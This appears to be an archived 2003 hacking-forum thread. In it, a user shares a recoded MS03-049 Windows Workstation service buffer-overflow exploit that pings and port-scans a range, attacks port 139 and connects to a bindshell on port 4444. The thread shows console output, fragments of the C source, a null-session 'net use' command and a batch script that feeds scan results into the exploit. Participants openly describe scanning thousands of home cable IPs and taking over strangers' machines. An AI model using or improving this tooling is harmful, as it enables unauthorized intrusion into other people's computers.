Okay, this is simply my personal recode for the wkksvc.dll overflow exploit. Given a range of IP or a single target it will do the following:
[1] Ping host [2] Scan port 139 if ping OK [3] If port 139 open, attack [4] If exploit success, drop to shell
QUOTE
[+] ms03-049 wkksvc.dll buffer overflow - exploit recode [+] Starting ping scan from 10.15.8.24 to 10.15.8.24 ... [+] 10.15.8.24 appears to be up ... scanning port 139 ... [+] Found port 139 open for connections on 10.15.8.24 ... [+] Connection socket will sleep for four seconds ... [+] Attacking remote host 10.15.8.24 ...
Local name Remote name \\10.15.8.24\ipc$ Resource type IPC Status Disconnected # Opens 0 # Connections 18 The command completed successfully.
typedef VOID (*MYPROC)(IN LPCWSTR Server OPTIONAL, IN LPCWSTR AlternateName, IN LPCWSTR DomainAccount OPTIONAL, IN LPCWSTR DomainAccountPassword OPTIONAL, IN ULONG Reserved ); int main(int argc, char **argv) {
if (argc < 2) { fprintf(stderr, "\n[+] ms03-049 wkksvc.dll buffer overflow <exploit only>\n"); fprintf(stderr, "[+] this is private copy ... and requires a large towel :)\n"); fprintf(stderr, "[+] usage = %s <start ip> [end ip]\n", argv[0]); exit(1); }
any possible way we can use this from a list of alreayd scanned p: 139 puters?
another edit: to bad everyone patched to sp1 :< we need a sploit for sp1
haxor2k3
Dec 14 2003, 10:18 PM
This shit really rocks )
slynx
Dec 14 2003, 11:12 PM
i forgot who mentioned it, but port 139 is blocked is blocked by most ISP so this sploit will work on ur network just fine but i have not been able to test any remote machines as of yet.
on my network however i have tested this sploit on winxp sp0 and sp1 and it works just fine. i have yet to test win2k....
WeeDMoNKeY
Dec 14 2003, 11:20 PM
i doubt this works for sp1... cause im scnnaing a range w/ sp1 machines (and ive got it with the old 0349 one) with sp0. So unless someone found a way to h4x sp1 ones
slynx
Dec 14 2003, 11:22 PM
it works....the box i sploited for the console output is sp1 >; ) admittedly it does not work on all sp1 though....but then again no sploit it perfect....
WeeDMoNKeY
Dec 14 2003, 11:25 PM
ah, well then, i dunno im kind of doubtful, ill do some tests and wells ee what happens :>
i used my old method and founda machine that was vuln w.sp0 tried ur prog, and it was a fail.
first thing i notice also is the fact that it does the things in the wrong order it shodul be exploit net use then nc
but it does liek net use exp then nc
it doesnt work.. which makes me wonder....
/me packet sniffs.
pita
Dec 15 2003, 01:18 AM
nice code i will look this.
Thanks to you.
Just to say in the russian exploit for win xp we could see that they r using the mbstowcs() function on the unicode long string so maybe add this function on this code too to make it work with xp sp1 (i didn't test this but its from the code)
slynx
Dec 15 2003, 01:29 AM
keep this in mind: after one good exploitation of a machine, you cannot exploit that same machine again untill after it does a reboot. this is because this sploit crashes the service, and the bindshell is never 100% closed. so what happens is this:
exploit goes fine, connect to bindshell decide that your done for now and close your connection
try to exploit that same machine again the sploit says it is sending the overflow + shellcode, then tries to connect to the bindshell..... the sploit really failed as the workstation service is hung up already from the last sploit, but the old bindshell from the successful sploit is still there (kinda...) so you connect to the old bindshell, although it is no longer a bindshell...after you close the connection the instance of cmd that was bound to that port also closes, but the port doesn't.....
so you end up with a connection you can send things to but get nothing back....
this is the same kind of thing with the MS03-026 sploit....it really only works once then you essentially lock yourself out of that machine after you close the original bindshell....but when the system restarts....so does the workstation service and everything else, and port 4444 is no longer bound to something that's gone....
sorry about my explanation....i tried.....
anyway in my tests i used 2 differant boxes that i continually restarted after each sploit attempt....
i just pass this on as i have no problem sploiting sp1 with the same sploit posted here.....
hehe....sploit sounds funny when reduntant
WeeDMoNKeY
Dec 15 2003, 01:38 AM
aye, i foudn that out awhile ago after i closed hte shell and lost a machine, well, ive scanned 2 cable ranges with ur exploit, and it doesnt work worth jack, and i scanned 2 different cable ones, and got 10 (via my own bats etc). so eitehr the fact that unless there was no computer, which i highly doubt, or it doesnt work. And im still concerned about the order it goes in. itshouldnt go net use exploit connect should be exploit net use sploit ?
flame
Dec 15 2003, 02:49 AM
Slynx - your the man ------------------------ nice to see some young talents among our community keep up the good work and just shout if ya need anything.
p.s whats that representing ? System error 53 has occurred.
The network path was not found.
WeeDMoNKeY
Dec 15 2003, 03:36 AM
roofle... ipc the network path net use \\ip.ip.ip.ip\IPC$ "" /u:"" logs you in with a blank pass and user name.
anyone actually get a machine?
BESIDES slynx ?
im not hating on you slynx jsut wondering why i cant get ANY after 3 or 4 thousand ip's.
Axl
Dec 15 2003, 08:50 AM
nice code indeed..
but it looks as if it works only with xp sp0 and not anything else(2k)
am i right ?
assom
Dec 15 2003, 11:17 AM
I tested on windows XP sp1 , Windows 2000 SP3 , null session is ok, but no shell no problem for the other side.
DJVASTVASTY2K
Dec 15 2003, 12:39 PM
QUOTE (WeeDMoNKeY @ Dec 14 2003, 10:17 PM)
well made, junk liek this make sme want to learn cpp i doubt its a virus due to this
any possible way we can use this from a list of alreayd scanned p: 139 puters?
another edit: to bad everyone patched to sp1 :< we need a sploit for sp1
Hello M8's
Thanks For This New Ploit "Slynx"
Works Locally
Just Gotta Try Remotely Yet, I Will post my finding on this after I have tested on some several machines.
@WeeDMoNKeY
Well Spotted on The Symantec
It's good to see that some people actually do a bit of research about the sploit and not just say [THANKS] and Spam It the Board with a single word phrase.
When someone mentioned VIRI you did a bit of research and found out all about it and that it was not a VIRI but infact used some part of the code and thats what Nortons picked up.
Well Done
But Thank You Slynx for this new Ploit
Best Regards
Adam
Vast Gsm
neb
Dec 15 2003, 03:40 PM
Oh yeah this is a real good code
Uli
Dec 15 2003, 03:55 PM
will test it thanks
DaMan
Dec 15 2003, 06:24 PM
very usefull thanks
teest
Dec 15 2003, 10:03 PM
thanks, I just testing
T-BoNe
Dec 15 2003, 10:29 PM
would love to see any proof that its working from someone
but hell of a job dude !
slynx
Dec 15 2003, 10:42 PM
WeeDMoNKeY; its always good to have a critic...where would the fun be if i didn't? in anycase i would greatly appreciate any ideas or modifications on your part, besides, we're supposed to work together....no more fighting >; )
i really don't know why you are unable to get a shell on any sp1 boxes...again i would just like to say tho that i am only testing this on a local network (10.15.x.x) and i have not tried anything other than that...
if anyone has any suggestions on how this can be improved PLEASE SUBMIT!
thanks every1 =)
WeeDMoNKeY
Dec 15 2003, 11:44 PM
aight, no more fighting ;D i was just PRODDING ;D I have now tested it on sp1 (for sure machine) a friend who goes to school with me. Uhm, i think if you got the exploit from here (the code only allows sp0 to work) then we wont get sp1. Also, i still havent got any and ive scanned over 5000 pcs now (left it over night and all day) and have yet to have one, while with the other one, i start it, jerk off to some porn ;> :> and come back and i have a machine. So idunno? (well made thoguh i ahve to admit, good code (im learning c++ as we speak, via school)).
A suggestion would be to allow the exploit to recieve ips from a list. (ones with 139 already scanned) cause scan1000 works 100000 times better than this scanner. And set the order of the exploit being sent so it doesnt scare me . other than that, need anything feel free to pm me slynx.
flame
Dec 16 2003, 12:06 AM
QUOTE (T-BoNe @ Dec 15 2003, 10:29 PM)
would love to see any proof that its working from someone
but hell of a job dude !
take my word it works . im planning some slight modifications now. thanks again slynx (call me)
wlingard
Dec 16 2003, 12:10 AM
OK...
Slynx.. great code man... really nice.. so a BIG thanks for that!
Here's my findings...
Works internally on my network here every time against Sp1..but remotely it hardly works.. not sure why but that's the case. I have had 2 remote shells (on Sp1, both) but they were after some serious number crunching, if ya know what I mean! And since then it hasn't worked again so maybe I was just lucky!
Anyways I'm yet to see a decent remotely working version of this exploit.. yet it seems it can work remotely on occasion so I'm not sure where it's going wrong. Are the offsets u are using universal or EN only? My knowledge of coding C++ is also very shite at best... I'm great with web code but little else atm!
As for the suggestions put forward by WeeDMoNKeY (great name man).. I gotta agree.. taking input from a text file would be good.. I just knocked up a .bat to deal with that but would be nice if the exploit worked on more machines.
Anyways thanks for sharing ya code man.. not often seen so it's well appreciated!!
//WL
WeeDMoNKeY
Dec 16 2003, 12:16 AM
QUOTE (wlingard @ Dec 16 2003, 12:10 AM)
OK...
Slynx.. great code man... really nice.. so a BIG thanks for that!
Here's my findings...
Works internally on my network here every time against Sp1..but remotely it hardly works.. not sure why but that's the case. I have had 2 remote shells (on Sp1, both) but they were after some serious number crunching, if ya know what I mean! And since then it hasn't worked again so maybe I was just lucky!
Anyways I'm yet to see a decent remotely working version of this exploit.. yet it seems it can work remotely on occasion so I'm not sure where it's going wrong. Are the offsets u are using universal or EN only? My knowledge of coding C++ is also very shite at best... I'm great with web code but little else atm!
As for the suggestions put forward by WeeDMoNKeY (great name man).. I gotta agree.. taking input from a text file would be good.. I just knocked up a .bat to deal with that but would be nice if the exploit worked on more machines.
Anyways thanks for sharing ya code man.. not often seen so it's well appreciated!!
//WL
hmm, maybe youve been talkign it works sp1 LOCALLY, because ive never tried it locally. Ive been speaking remotley, but i figured that you had meant remote... NEVER works on sp1 for me, or even sp0 :< i jsut use the odl one and run a few bats,sucks balls, ill keep scanning with this all night and morn, and ill see if i can nab one (maybe by random chance ive got 0)
WeeDMoNKeY
Dec 16 2003, 12:20 AM
OKAY FOLKS THIS WORKS!!!!!!!!!!!111 /me bows down. It works quite well, id unno why iw as never able to get any machines, mustve been bad luck. (ive got one so ill keep going)
/me shuts mouth :>
works soooooo slow though, ill stick to my old method for now, unless someone *cough* wants uplaod a bat so i can take it out ofa file (im to lazy to make :< )
i must admit i have not updated my server in a VERY long time..... if anyone wants free space, email, etc. tho your welcome to it, just email me....
and yes, my program works VERY slow as it is not multithreaded in the scanning function....admittedly i don't kno exactley how to pull that one off.....
just use the x-scan plugin and run on a single machine....in case u have not noticed u need only prove a single ip for my recode... then u dont have to scan so many with it.....
What Has This Apache Exploit got to do with [Ms03-049] ???
Best Regards
Adam
Vast Gsm
WeeDMoNKeY
Dec 16 2003, 03:55 AM
it doesnt, it has to do with hackit.us...
flame
Dec 19 2003, 12:24 PM
here ya go weedmonkey
CODE
@echo off del scan.txt scan100 -p 139 %1 %2 notepad scan.txt rem the notepad is for editing the txt file and clean the 1st and last line manually then save,quit, and press a key. :) pause for /f "tokens=1 delims=" %%a, in (scan.txt) do ms03049.exe %%a echo. echo. Any Luck ?
Bloodman
Dec 19 2003, 05:34 PM
THX 4 THIS VERY COOL CHILLING TOOL
Certox
Dec 19 2003, 07:38 PM
Thank You
T-BoNe
Dec 19 2003, 09:05 PM
QUOTE (flame @ Dec 19 2003, 12:24 PM)
here ya go weedmonkey
CODE
@echo off del scan.txt scan100 -p 139 %1 %2 notepad scan.txt rem the notepad is for editing the txt file and clean the 1st and last line manually then save,quit, and press a key. :) pause for /f "tokens=1 delims=" %%a, in (scan.txt) do ms03049.exe %%a echo. echo. Any Luck ?
don't you just love batch files
Thonyx
Dec 19 2003, 09:54 PM
Thx for this package!
I'll test it now!
robsonbr
Dec 19 2003, 10:01 PM
ohh (filtered) nice tool m8, lets me test it cheers
passi
Dec 19 2003, 10:31 PM
isn't there a better way to scan?
Carlos
Dec 20 2003, 02:32 AM
thnx for taking the time to edit/add features to this exploit for us.
WeeDMoNKeY
Dec 20 2003, 05:45 PM
fuckin nice flame.. flame = the man.
Freaky
Dec 20 2003, 06:22 PM
Yeah nice . Nice Job etc.
Let'S have some phun
wh173r
Dec 20 2003, 06:30 PM
Alright, im wondering... how do i know if a machine is exploitable. Ive scanned some with IPCscan that seem to be workstation (altho probably 2000), but cant exploit. Right now im doing it with the exploit and was wondering if netcat should be in the dir with the file (it is now, just wondering). Or, dose the exploit telnet.
[+] xxx.xxx.xxx.xxx appears to be up ... scanning port 139 ... [+] Found port 139 open for connections on xxx.xxx.xxx.xxx ... [+] Connection socket will sleep for four seconds ... [+] Attacking remote host 165.123.170.106 ...
System error 53 has occurred.
The network path was not found.
[+] GetProcAddr: 71c59530 [+] Sending exploit to 165.123.170.106 ... [+] Connection socket initialized ... [+] Trying to connect to xxx.xxx.xxx.xxx:4444 ... [x] Connect to bindshell on xxx.xxx.xxx.xxx:4444 failed ...
are the erros i seem to get for every ip. what do these mean !
HiBob
Dec 20 2003, 09:24 PM
thanks, looks great
flame
Dec 21 2003, 01:21 AM
QUOTE (wh173r @ Dec 20 2003, 06:30 PM)
Alright, im wondering... how do i know if a machine is exploitable. Ive scanned some with IPCscan that seem to be workstation (altho probably 2000), but cant exploit. Right now im doing it with the exploit and was wondering if netcat should be in the dir with the file (it is now, just wondering). Or, dose the exploit telnet. are the erros i seem to get for every ip. what do these mean !
if you get a shell - then its exploitable if shell=0 then goto quit :quit @echo try some more ip's wanker
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.